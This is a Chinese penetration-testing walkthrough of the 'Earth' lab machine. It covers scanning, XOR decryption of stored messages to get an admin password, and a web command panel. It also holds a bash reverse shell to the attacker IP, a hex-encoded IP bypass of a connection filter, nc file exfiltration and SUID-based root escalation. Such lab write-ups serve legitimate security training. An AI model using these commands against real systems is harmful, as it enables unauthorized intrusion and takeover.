渗透测试学习之日常打靶

admin 2022年7月21日01:23:56评论43 views字数 3651阅读12分10秒阅读模式

靶机名称:Earth

攻击机:192.168.43.249

靶机:192.168.43.52

主要流程

主机发现

端口扫描

DNS解析

信息收集

加解密破解

getshell

提权

主机发现

使用nmap进行主机发现

sudo nmap -sP 192.168.43.1/24

渗透测试学习之日常打靶

可以看到这个earth就是我们想要的机器,接下来对192.168.43.52这台机器进行测试

首先对端口进行扫描,看一下开放的端口

sudo nmap -sC -sV -p- 192.168.43.52

渗透测试学习之日常打靶

开放22,80,443端口,并且在443端口上有DNS解析

DNS解析

如果没有设置DNS解析,访问的时候就会显示状态码400

渗透测试学习之日常打靶


所以在hosts文件中加入DNS解析

渗透测试学习之日常打靶


访问https://earth.local

渗透测试学习之日常打靶


访问https://terratest.earth.local

渗透测试学习之日常打靶


访问之后并没有发现利用点

信息收集

接下来对https://earth.local进行目录扫描

渗透测试学习之日常打靶


发现https://earth.local/admin/login目录,是一个登陆页面

渗透测试学习之日常打靶


再对https://terratest.earth.local进行目录扫描

渗透测试学习之日常打靶


发现了一个robots.txt文件,是一个爬虫文件

渗透测试学习之日常打靶


发现有一个testingnotes文件,但是不知道是什么格式,把上面的格式进行拼接并访问,最后测试发现是txt格式,访问testingnotes.txt

渗透测试学习之日常打靶


进行翻译可知

测试安全消息传递系统注意事项:
*使用异或加密作为算法,应该与RSA中使用的一样安全。
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra用作管理员门户的用户名。
待办事项:
*我们如何安全地将每月的钥匙发送到地球?或者我们应该每周换一次钥匙?
*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
*需要改进消息传递界面和管理面板的界面,这是目前非常基本的。

到这里我们知道,加密算法是XOR,用户名是terra,访问https://terratest.earth.local/testdata.txt

渗透测试学习之日常打靶


到这里突然想到https://earth.local/中有三串数据,应该就是加密后的数据

渗透测试学习之日常打靶


XOR解密

我们把Previous Messages与testdata.txt进行XOR运算

import binascii

data1 = "37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"
data2 = "3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"
data3 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
print(hex(int(data2,16) ^ int(f,16)))
print(hex(int(data3,16) ^ int(f,16)))

得到如下数据是十六进制

渗透测试学习之日常打靶


进行解码

渗透测试学习之日常打靶

渗透测试学习之日常打靶

渗透测试学习之日常打靶


可以看到前两个没有重要数据,第三个是重复的earthclimatechangebad4humans

我们试着使用,用户名:terra,密码:earthclimatechangebad4humans进行登录

渗透测试学习之日常打靶


如图所示成功登录,进入到命令执行页面,执行ls可以执行成功

渗透测试学习之日常打靶


用find命令查找flag文件

find / -name “*flag*”

渗透测试学习之日常打靶


发现/var/earth_web/user_flag.txt,使用cat查看一下

渗透测试学习之日常打靶


得到第一个flag

Getshell

反弹shell

bash -i >& /dev/tcp/192.168.43.249/7777 0>&1

渗透测试学习之日常打靶


但是发现提示禁止远程连接,记得以前进行过对ip的十六进制编码绕过和对整个命令base64编码绕过,这里显然用ip的十六进制编码进行绕过

bash -i >& /dev/tcp/0Xc0a82bf9/7777 0>&1

渗透测试学习之日常打靶


成功拿到shell

提权

接下来就需要提权

查看一些特殊权限的文件

find / -perm -u=s -type f 2>/dev/null

渗透测试学习之日常打靶


看到reset_root文件,感觉这个名字有点问题,想着运行一下

渗透测试学习之日常打靶


一猜就不是那么容易就能够运行的

发现报错

渗透测试学习之日常打靶


这个时候我们可以使用nc进行传输文件

在攻击机上进行监听6543端口

nc -nlvp 6543 >reset_root

渗透测试学习之日常打靶


靶机上执行

nc 192.168.43.249 6543 < /usr/bin/reset_root

进行传输

渗透测试学习之日常打靶


接下来对reset_root进行调试

如果没有安装过strace需要进行下载

sudo apt install strace

渗透测试学习之日常打靶


权限不够,那么我们就赋予他一个执行权限

chmod +x reset_root

再次进行调试

渗透测试学习之日常打靶


成功执行,并且发现之所以执行失败的原因,因为没有这三个文件,因此在靶机的shell上创建这三个文件

渗透测试学习之日常打靶


再次运行reset_root

渗透测试学习之日常打靶


找到了root的密码:Earth

成功获得root权限

得到最后的flag

渗透测试学习之日常打靶


到此结束

获取靶机下载链接后台回复:Earth

原文始发于微信公众号(昆仑云安全):渗透测试学习之日常打靶

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月21日01:23:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试学习之日常打靶https://cn-sec.com/archives/1189933.html

发表评论

匿名网友 填写信息